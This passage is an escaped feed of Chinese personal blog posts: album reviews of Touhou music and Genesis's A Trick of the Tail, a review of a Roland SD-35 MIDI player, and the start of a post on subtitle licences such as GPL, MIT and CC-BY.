在垃圾电音之前,很多流行歌曲都是这样的。这里有个例外,就是第八首,大致是回到了第一部分那样的舒缓和探索风格了。由于第九首结构十分复杂,并且很有史诗的味道,所以第八首这么处理,有点“大的要来了”那种感觉。\u003cbr\u003e\n还记得一开始说的快速吉他演奏吗?这就是第九首一开始的样子。这首音乐结构复杂,让我想到了很多我听过的曲子。干脆给个结构,你们各位自己联想吧:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e开始的合奏 \u0026ndash;\u0026gt; Deep Purple: Gypsy\u0026rsquo;s Kiss 开始部分 \u0026ndash;\u0026gt;\nGenesis: Return of Giant Hogweed 快速Riff \u0026ndash;\u0026gt; King Crimson: Epitath 中间的和声 \u0026ndash;\u0026gt;\n开始的合奏 \u0026ndash;\u0026gt; 爵士味道的合奏 \u0026ndash;\u0026gt; 结束\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e(插一句:我没听过多少爵士乐的东西,但很多前卫摇滚专辑的爵士乐色彩都很浓吧:-P)\u003c/p\u003e\n\u003ch2 id=\"第三部分10-11\"\u003e第三部分(10-11)\u003c/h2\u003e\n\u003cp\u003e第三部分可以说是最差的部分。都是因为第十一首,我觉得就是把You Really Got Me的Riff直接搬过来用了(Deep Purple的Drifter也是,可能这是某种通用Riff?),而且十分刺耳,十分混乱,很明显混音师并没有完好地把各个乐器的占比给平衡好。第十首实际上还行吧,但前面已经有很多类似风格的歌曲了,再来一个没啥特点的类似歌曲,未免让人有点审美疲劳。你们知道听多了ELP的Karn Evil No 9之后是啥感觉吗,怎么他们花了7分钟不停地重复相同的东西呢?\u003c/p\u003e\n\u003ch2 id=\"第四部分结尾12-1516-17\"\u003e第四部分\u0026amp;结尾(12-15+16-17)\u003c/h2\u003e\n\u003cp\u003e第四部分,终于有点新的东西了。在第一部分,第二部分特点的基础上,将摇滚的节奏,爵士的味道和古典的气息融合得最好。\u003cbr\u003e\n上来第十二首,钢琴爵士的味道简直太浓了,而歌曲开始又是第一部分那样的节奏。第十三首彻底就是一个古典钢琴曲的改编,名称叫《悼念公主的帕凡舞曲》(谁知道《让我们荡其双桨》是不是借鉴了这个)。然而这个改编节奏太快,我第一时间还没反应过来,后来才回过味来,而后面的部分加上了合奏。比起原先曲子的忧伤,这个改编挺让人热血沸腾的。第十四首总体来说,有点迷幻了。开头的部分是The Doors的Strange Days,至少让我体现了那种感觉,后面的部分又回到了这张专辑一贯的爵士合奏风格:-P第十四首,可以说重金属感觉了出来,任何一个乐符都很干脆利落,有点让人喘不过气来。\u003c/p\u003e\n\u003cp\u003e那最后一首呢,我觉得很有创意。虽然是第一首的再奏,但是它使用了敲击出来的音乐,还挺让人耳目一新的。\u003cbr\u003e\n我还想插一句,最后的回响曲在这里,我觉得意义不明。\u003c/p\u003e\n\u003ch2 id=\"和in-the-wake-of-the-poseidon对位\"\u003e和In the Wake of the Poseidon对位\u003c/h2\u003e\n\u003cp\u003e我看着张专辑的编排,确实有点像King Crimson的专辑,不过是第二张,再列个表吧,列出部分曲目的对位关系:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDevil\u003c/th\u003e\n\u003cth\u003ePoseidon\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e1. A Dream that is More Scarlet than Red\u003c/td\u003e\n\u003ctd\u003eA1. Peace: A Beginning\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e2. A Soul as Scarlet as a Ground Cherry\u003c/td\u003e\n\u003ctd\u003eA2. Picture of a City\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e4. Lunate Elf\u003c/td\u003e\n\u003ctd\u003eA3. Cadence And Cascade\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e9. Locked Girl ~ The Girl\u0026rsquo;s Sealed Room\u003c/td\u003e\n\u003ctd\u003eA4. In the Wake of the Poseidon\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e10. The Maid and the Pocket Watch of Blood\u003c/td\u003e\n\u003ctd\u003eB2. Cat Food\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e12. The Young Descendant of Tepes\u003c/td\u003e\n\u003ctd\u003eB3a. The Devil's Triangle\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e13. Septette for a Dead Princess\u003c/td\u003e\n\u003ctd\u003eB3b. Merday Morn\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e14. The Centennial Festival for Magical Girls\u003c/td\u003e\n\u003ctd\u003eB3c. Hand Of Sceiron\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e15. U.N. Owen Was Her?\u003c/td\u003e\n\u003ctd\u003eB3d. Garden Of Worm\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e16. An Eternity More Transient than Scarlet\u003c/td\u003e\n\u003ctd\u003eB4. Peace: An End\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"总结寻人启事\"\u003e总结+寻人启事\u003c/h2\u003e\n\u003cp\u003e总体来说,这张专辑虽然说爵士味道很浓,但是无论从音乐编排,很多新颖的编排来说,前卫摇滚的因素十分的多。虽然也有少部分歌曲风格重复,审美疲劳,总体还是比ELP,Yes这样僵化的乐队好听多了。对比某个写英国内战时某个亲王的专辑来说,更是好到不知道到哪里去了。\u003c/p\u003e\n\u003cp\u003e不过,我还是不明白她们为啥找我发行。不过我既然有b站帐号,我就给放出来了,看样子反响不错。她们也没再找我,不过他们一开始给的母带上面写着他们叫有些信息,我就根据那个,根据记忆,画了她们的样貌,希望她们还能回来,找我结帐。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/W6EmiNkFGl98LBI.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/W6EmiNkFGl98LBI.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/AGmOSclbnYzfup2.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/AGmOSclbnYzfup2.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/Bu7G9LodS8vUXwJ.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/Bu7G9LodS8vUXwJ.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e补充:有时多瞎想点东西,还是很好的呢:-)希望大家喜欢看这样的音乐评测,可能以后有些音乐专辑,我就引入她们的设定了233\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://zh.touhouwiki.net/wiki/%E4%B8%9C%E6%96%B9%E7%BA%A2%E9%AD%94%E4%B9%A1/%E9%9F%B3%E4%B9%90\" target=\"_blank\" rel=\"noopener\"\n \u003eTouhouwiki 上面的介绍\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Ai4y1b7LJ\" target=\"_blank\" rel=\"noopener\"\n \u003eSC-88 Pro 合成版 @pingatsky\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Wq4y1f7h7\" target=\"_blank\" rel=\"noopener\"\n \u003eSD-35 (约等于SC-55) 合成版 @SuperBart\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=1904\" target=\"_blank\" rel=\"noopener\"\n \u003eIn the Wake of Poseidon 在 Prog Archive 上的评论\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/gensokyo-band-promotion-file.html"},{"title":"Roland SD-35 MIDI 播放器评测","time":"2021-09-05T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\" alt=\"Featured image of post Roland SD-35 MIDI 播放器评测\" /\u003e\u003cp\u003e我一直想要一个硬音源,所以我搞来了这台Roland SD-35 MIDI播放器。因为这是闲鱼上我所找到的最便宜,也是最具特点的Roland MIDI设备。这台机器吸引我的地方,就是其能播放软盘里的MIDI音乐。不过这个机器当音源是真的不行,不过情有可原。接下来,我给大家详细介绍这个机器。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"开学才一周,桌面就很乱了:-P\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e开学才一周,桌面就很乱了:-P\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"part-1历史背景\"\u003ePart 1:历史背景\u003c/h2\u003e\n\u003cp\u003eRoland公司在1991发布了Roland SC-55 MIDI硬音源,将高品质MIDI音源给大众化了。很多游戏音乐,比如《毁灭战士》的音乐,就是用SC-55写的。之后,Roland在1993年发布了SC-55 MK II,算是一个小幅升级版。1994年则是SC-50,较SC-55 MK II砍掉了MT-32模拟功能,并且只有一个MIDI输入接口。\u003c/p\u003e\n\u003cp\u003e在1993年,SD-35 MIDI播放器问世,本质上就是SC-50,不过加了一个软盘播放器。它还有一个姐妹型号,SB-55。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/89bCa4Rz5VlhukN.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/89bCa4Rz5VlhukN.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"上图来源:Wikipedia \u0026ldquo;Roland Sound Canvas\u0026rdquo;\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e上图来源:Wikipedia “Roland Sound Canvas”\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"part-2作为一个midi播放器\"\u003ePart 2:作为一个MIDI播放器\u003c/h2\u003e\n\u003cp\u003e这个机器最主要的功能,就是播放MIDI文件。播放的话,有两种方式:一种是通过软盘播放,一种是通过MIDI线缆输入。它前面板上有一个软驱,插入720K软盘后,如果是空盘,它可以给格式化,如果有标准MIDI文件的话,它就会播放。另外一种,就是通过MIDI线缆,传入信号并播放,或者录制MIDI信号到软盘。\u003c/p\u003e\n\u003cp\u003e这个机器的主打功能是软盘MIDI播放和MIDI信号录制,所以这两个我就不说了。前面的使用完美,后面的我没有条件测试。而后者呢,算是这个机器的弱项。经常传输信号的时候,机器报缓存已满。根据说明书,机器由于传入太多的MIDI信号而无法处理。说明书还建议把Soft Thru关掉,因为这玩意占着资源,但这样我就听不到音乐了。我根据群友的建议,用TMIDI播放器调整了传输速率,但还是不行。这类情况在传输一些复杂的MIDI信号的时候,十分明显。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/YA5DlKdLg8Bh9Ra.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/YA5DlKdLg8Bh9Ra.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"bFL = buffer FULL\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003ebFL = buffer FULL\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e这个机器,由于本质是SC-55,所以合成的音效嘛,就是SC-55的样子。但是这也带来了一个问题,就是对于一些面向SC-88编写的MIDI音乐,可能合成会有问题。我在用机器播放《东方红魔乡》的MIDI音乐(GS标准,面向SC88Pro编写)时,经常看到地址报错,而且有一首歌,把最后部分的长音小号给合成错了。\u003c/p\u003e\n\u003cp\u003e这个机器还有一个功能,就是GM标准和GS标准之间的转换。当然,其他的音源估计也有。这两个标准合成的音乐有些许不同,值得注意。\u003c/p\u003e\n\u003cp\u003e这台机器还有很多其他功能,诸如只播放一个通道之类,这里我就不说了,对我而言实用性不强。\u003c/p\u003e\n\u003ch2 id=\"part-3这台机器到底是用来干啥的\"\u003ePart 3:这台机器到底是用来干啥的?\u003c/h2\u003e\n\u003cp\u003e根据上面的用途和说明书上的提示,我觉得这个机器不是面向MIDI音乐编写/播放设计的,而是面向现场播放用途设计的。这里我放上该机器的后面板。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/pJ9OcGgDfjQRNUr.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/pJ9OcGgDfjQRNUr.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"由左至右:输入电平调整 输入声音信号 输出声音信号 控制信号 输出MIDI信号 电源接口 开关\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e由左至右:输入电平调整 输入声音信号 输出声音信号 控制信号 输出MIDI信号 电源接口 开关\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e你们可以看到,这里除了MIDI接口,还有两对6.5mm接口。一对接收输入信号,一对向外输出信号。最左侧还有输入电平调节,分别是吉他,麦克风和线缆输入。可见,这个机器可以输入信号,然后和软盘音乐混合后输出。对于做Genesis那样的流行电音来说,还挺有用的呢。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/OWZGydp3Hl2UAV1.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/OWZGydp3Hl2UAV1.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"说明书上关于输入设备的演示\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e说明书上关于输入设备的演示\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e至于为啥我前面说当音源不行,但是情有可原。一方面,这个机器要录制MIDI的话,一般接的是键盘啥的。键盘我觉得,再怎么折腾,也不会超过三个频道吧,估计它的处理能力也就这样了。另外一个方面,说明书暗示,传入MIDI信号相比软盘播放,机器得处理更多的东西,所以我觉得,可能是算力不够+缓存被砍的原因。\u003c/p\u003e\n\u003cp\u003e(还有一方面,估计我买的MIDI线很垃圾。那家的评论有一些差评,不过由于我买了这个机器,存款接近告罄,只能在这方面省钱了:-P)\u003c/p\u003e\n\u003ch2 id=\"part-4我对这台机器的看法\"\u003ePart 4:我对这台机器的看法\u003c/h2\u003e\n\u003cp\u003e虽然我买这个机器的目的是为了当音源,而这方面,机器可谓是相当不合格。但是,这个机器的特点很鲜明,还有很多的可玩性。我可以用这个机器水做很多的演示视频呢。而且这个机器涉及到了软盘,我也在Linux下体验了格式化软盘,没有某些人说的那么离谱啊。\u003c/p\u003e\n\u003cp\u003e不过既然不能当音源,我还要攒一年的钱,买一个SC-88去:-P(卖溢价二手货的都给我下地狱吧)\u003c/p\u003e\n\u003ch2 id=\"part-5相关计划\"\u003ePart 5:相关计划\u003c/h2\u003e\n\u003cp\u003e根据之前的投票结果和我的个人意愿,下期MIDI演示视频,我要用《红魔乡》的音乐演示,经由软盘播放。然后是《毁灭战士II》,经由MIDI线。可能还会用《RoTT》和《Heretic》的部分音轨出一个bug演示视频。制作方面呢,我要改MIDI,录制,画封面啥的。所以各位耐心等着吧:-P\u003c/p\u003e\n\u003cp\u003e进度视我的课程难度和我陷入不合理竞争的深度而定:-(\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/roland-sd-35-midi-player-review.html"},{"title":"Genesis - A Trick of the Tail 听后感","time":"2021-08-15T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\" alt=\"Featured image of post Genesis - A Trick of the Tail 听后感\" /\u003e\u003cp\u003e作为前Deep Purple粉丝,现在的Genesis粉丝,如果我要给别人推荐Genesis专辑的话,我会先推荐这张专辑。因为这张专辑的旋律性好,概念性没那么强,听着没有Sell和Lamb那样,又累又难以理解。而且这张专辑的封面也很有意思,很多的人对应着专辑里的歌曲。\u003c/p\u003e\n\u003ch2 id=\"关于封面\"\u003e关于封面\u003c/h2\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"Copyright 1976 Hignosis \u0026 C. Elgie\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eCopyright 1976 Hignosis \u0026amp; C. Elgie\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e根据上网找到的内页,个人猜测:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e护士拿着灯:Entangled\u003c/li\u003e\n\u003cli\u003e猎人和下面的耗子:Sqounk\u003c/li\u003e\n\u003cli\u003e上面的月亮和下面的孩子们:Mad Man Moon\u003c/li\u003e\n\u003cli\u003e大盗和狡猾的绅士:Robbery, Assault and Battery\u003c/li\u003e\n\u003cli\u003e照镜子的巫婆:Ripples\u0026hellip;\u003c/li\u003e\n\u003cli\u003e恶魔和指着他的人:A Trick of the Tail\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"关于歌曲\"\u003e关于歌曲\u003c/h2\u003e\n\u003cp\u003e这张专辑的旋律性很突出,尤其突出显示在Mad Man Moon和Entangled这两首歌中。\u003c/p\u003e\n\u003cp\u003eMad Man Moon中,Tony Banks模拟的笛声很快就能抓住我们的耳朵,而且十分婉转,基本贯穿了整首歌。虽然我没太注意歌词唱的是什么,但是这个歌曲能让我想象出一个不知为何,有一点伤心的人。Tony Banks的旋律一直是Genesis音乐在前卫摇滚时期的卖点。包括Trespass里的Vision of Angles,Lamb里的Carpet Crawl,后面Wind And Wuthering里的One for the Vine,and there were three里的Buring Ropes。不过流行时期的Genesis嘛,旋律真就没有什么特点了,只剩下力度和跳舞的动力了。\u003c/p\u003e\n\u003cp\u003eEntangled中,Steve Hackett的原声吉他弹得十分干净,十分纯洁。这应该是属于民歌的曲调,充满了西方童话的特色。同样地,这个曲调也是低回婉转的,比起那些十分重型的歌曲或是某种热门单曲(@ tictok神曲),记住这些旋律是十分享受的,而不是折磨的。Steve在Genesis里主要是承担着点缀音乐的作用,诸如Hogweed前面的快速点弦,Horizon是在上主菜前的一个插曲之类。虽然他自己的写的旋律很好,但是没人用啊,难怪他后来退队了。\u003c/p\u003e\n\u003cp\u003e说到力度,这张专辑给人的感觉很割裂。有些歌曲从头到尾都很有力,诸如Sqounk。而其他的歌曲大多十分轻松,尤其是Entangled。这点我觉得相比之前的专辑,有点不太好。Genesis前卫高峰时期的专辑都是很能把握歌曲的力度的,一首歌的力度变化是十分丰富的。比如Stagnation,前面很轻盈,中间加了点力度,后面又让人很放松,但是最后还是留有一定的力度。Cinema Show是由轻到重,逐渐加强的。然而这张专辑,大多数歌曲传递出来的力度都十分单一。尤其是Sqounk,力度变化基本上没有,而且十分急促,好像有人一直在跟你抱怨着什么,我是十分不喜欢的。在力度方面,Los Endos这个纯乐器独奏,十分多元化,个人认为是乐队通过这个独奏,告诉大家,我们的音乐依然是多元的。\u003c/p\u003e\n\u003ch2 id=\"关于内容\"\u003e关于内容\u003c/h2\u003e\n\u003cp\u003e至于专辑内容,我个人倒不是很注意,因为这张专辑的旋律性重于歌词。我除了Robbery, Assault and Battery和Ripples的内容看了一下之外,其他的没看。要不是歌曲的旋律告诉了我们(比如第一首,明显体现了乐队继续前进的决心),更多是我对看歌词不感兴趣。Robbery, Assault and Battery讲述了一个十分奇怪的故事,没太看懂歌词的我也能体会到其中的荒诞性,大致是一个大盗的胡乱自述,经常出现“老调重弹(Same old song)”这句词。而Ripples这首歌,借着水中的波纹,唱出了青春一去不反的伤感。(Marge: 你才20岁,担心啥呢:-P)歌词中的“A Thousands Ship”让我无端联想到Doors 里的The Crystal Ship,看出来女孩子心里变化的丰富(毕竟她们是不同的生物呢)。\u003c/p\u003e\n\u003ch2 id=\"关于历史地位\"\u003e关于历史地位\u003c/h2\u003e\n\u003cp\u003e这张专辑是Genesis的转折点,Genesis顺应时代的变化,精简掉歌曲中复杂的结构,将人们重视的旋律弄得十分突出。不过,他们仍然保留了很多的复杂,精巧的元素。这张专辑中,有内容上很有意思的,也有结构复杂的歌曲,也有他们继续前行的决心。下一张专辑中,则有上来就很抓耳的旋律,也有十多分钟长的器乐歌曲串烧,还有一首启发自猫和老鼠的歌曲。而在Hackett退出后,乐队有点离心,在过渡了两张专辑后,彻底转型为流行,那些歌嘛,我就不想说了。这张专辑是他们刚刚开始转型的专辑,前卫性很强,而由于他们做出的变化,让其更能为人所接受。所以,如果你们想了解前卫摇滚的话,可以先拿这张适应一下,适应后再开始你们的前卫之旅(建议拿 Yes 的 Tails of Topographic Ocans 来提升一下)。\u003c/p\u003e\n\u003cp\u003e最后,感谢南方翻译的前卫摇滚历史,最后一段的分析实际上在那个视频里面提到过。\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=5\" target=\"_blank\" rel=\"noopener\"\n \u003eProg Archive上面的评论\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.discogs.com/master/28748-Genesis-A-Trick-Of-The-Tail\" target=\"_blank\" rel=\"noopener\"\n \u003eDiscogs上面的专辑版本信息\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Af4y1F79H\" target=\"_blank\" rel=\"noopener\"\n \u003e本人翻译的一个介绍本专辑的纪录片\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1NZ4y1p7fM\" target=\"_blank\" rel=\"noopener\"\n \u003e南方翻译纪录片的片段\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"彩蛋我画的ripples封面\"\u003e彩蛋:我画的Ripples封面\u003c/h2\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/CFQrlqIWV5jDGh8.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/CFQrlqIWV5jDGh8.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"右面的是姐姐Remila,左面的是他的妹妹Flandre。姐姐照着魔镜,看到自己的妹妹读着Mad Hatter开的荒诞的茶会而高兴不已。虽然她们俩永远都不会老去,但是姐姐见过的太多了,对妹妹的童真无邪十分羡慕。\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e右面的是姐姐Remila,左面的是他的妹妹Flandre。姐姐照着魔镜,看到自己的妹妹读着Mad Hatter开的荒诞的茶会而高兴不已。虽然她们俩永远都不会老去,但是姐姐见过的太多了,对妹妹的童真无邪十分羡慕。\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e如果你了解东方的话,你很快就能反应过来这两个人的原型是红魔馆的两个主人。但我没有照搬吸血鬼的设定,因为我画的是人啊。还有,我觉得东方里的角色都可以拿过来,稍微修改一下设定,就能给每一首前卫歌曲画一张,这样,我们就能借着东方,宣传前卫摇滚啦。对了,我不太是东方的粉丝,目前真的只对东方里那些女孩子的个性和外观感兴趣\u0026hellip;\u0026hellip;\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/a-trick-of-the-tail-review.html"},{"title":"我的字幕授权协议(兼各种我知道的授权协议介绍)","time":"2021-08-02T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/INzBQdJWynZbLmR.jpg\" alt=\"Featured image of post 我的字幕授权协议(兼各种我知道的授权协议介绍)\" /\u003e\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e什么,字幕还有授权协议?那当然,要不我辛辛苦苦翻译的东西总有一天会被营销号拿走:-P\u003c/p\u003e\n\u003cp\u003e先推荐给字幕作者这篇文章,虽然我的翻译明显不是这样:-P\u003c/p\u003e\n\u003cp\u003e【经验分享】从事个人翻译的几点心得 @ 某科学的小姚同志\u003c/p\u003e\n\u003cp\u003e好啦,在贴出我的协议之前,先给大家介绍几种授权协议吧:\u003c/p\u003e\n\u003ch2 id=\"copyleft-类型的协议\"\u003eCopyLeft 类型的协议\u003c/h2\u003e\n\u003cp\u003e这类协议最大的特点是,自由是被强制的。也就是说,虽然该授权协议给予你很多的权利,但是你衍生作品的授权协议也得授权给用户那么多的权利。\u003c/p\u003e\n\u003cp\u003e对于字幕呢,如果想这么办的话,CC-BY(Attribution, 署名)-ShareAlike(相同方式共享)是一个相当好的选择。\u003c/p\u003e\n\u003cp\u003e举例:《雷神之锤》引擎(id Tech 2)的授权协议是GPL v2,一个CopyLeft类型的协议。也就是说,如果你没跟原作者id公司另行签订协议的话,你写的改进版《雷神之锤》引擎(英文叫source port)必须也得是GPL v2授权,以保证这个衍生作品是自由的。我电脑里装有vkquake改进引擎,就是GPL授权的。\u003c/p\u003e\n\u003cp\u003e个人评价:这很明显干涉到了开发者的自由,因为他不能将自己的想法按照自己的想法公布。但是,对于软件来说是件好事情,因为透明性,更多人可以加入,给软件添砖加瓦。而对于我的字幕来说,如果别人翻译视频或者引用的话,因为授权协议,就得违背自己的本意开放各种细节,也不太好吧。\u003c/p\u003e\n\u003ch2 id=\"copyright类型的开源协议\"\u003eCopyRight类型的开源协议\u003c/h2\u003e\n\u003cp\u003e这种协议呢,作者保留自己应该有的权利。不过作者开发给各位用户随意处置该软件的自由。\u003c/p\u003e\n\u003cp\u003e这种协议应该是被使用最多的开源协议了,比如MIT协议,只要将该协议文本随衍生作品分发即可。对于字幕,就是CC-BY了。\u003c/p\u003e\n\u003cp\u003e举例:3Blue1Brown的作者使用自己写的Manim库做视频,该库按照他的MIT协议授权。社区在他代码的基础上维护,搞了一个社区版,按照原版的MIT协议和社区版的MIT协议授权。\u003c/p\u003e\n\u003cp\u003e还有一个例子:github上driver1998(Bilibili上是初生之鸟)做的字幕是CC-BY授权,所以,如果我要给LGR发送他做的视频字幕的话,只要在文件里写上他的名字和CC-BY授权就行了。\u003c/p\u003e\n\u003cp\u003e个人评价:这种协议十分符合我心中的开源协议,我给你们随便用,别忘了提我名字就行之类。但是,对于某些耍流氓的,恐怕就不友好了,懂得都懂。对于字幕呢,如果你不像我那么在意某些事情的话,用这种类型的吧。\u003c/p\u003e\n\u003ch2 id=\"半开源协议\"\u003e半开源协议\u003c/h2\u003e\n\u003cp\u003e这种情况比较复杂:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e作者仅仅是放出来了代码,而没给协议。\u003c/li\u003e\n\u003cli\u003e作者写了自己的开源协议,但是限制比较多,视情况而定。\u003c/li\u003e\n\u003cli\u003e对于第一种情况,如果你要对修改后的代码有进一步动作的话,理论上来说必须联系原作者。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e举例:我打包的《东方毁灭战士》就是属于没有授权协议的游戏。默认由原作者Untitled保留他所写代码的所有权利,而贴图,萌妹子之类的呢,我就不知道了。\u003c/p\u003e\n\u003cp\u003e对于第二种情况,那就看吧。像Anti996协议这种,照办即可。要是诸如限制商业用途,必须喜欢Maggie Simpson等情况的话,在某种程度上也得联系原作者了。\u003c/p\u003e\n\u003cp\u003e举例:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e金源引擎是开源的,但是Valve的授权协议禁止未经允许的商用。\u003c/li\u003e\n\u003cli\u003eKen Sliverman 给自己的 BUILD 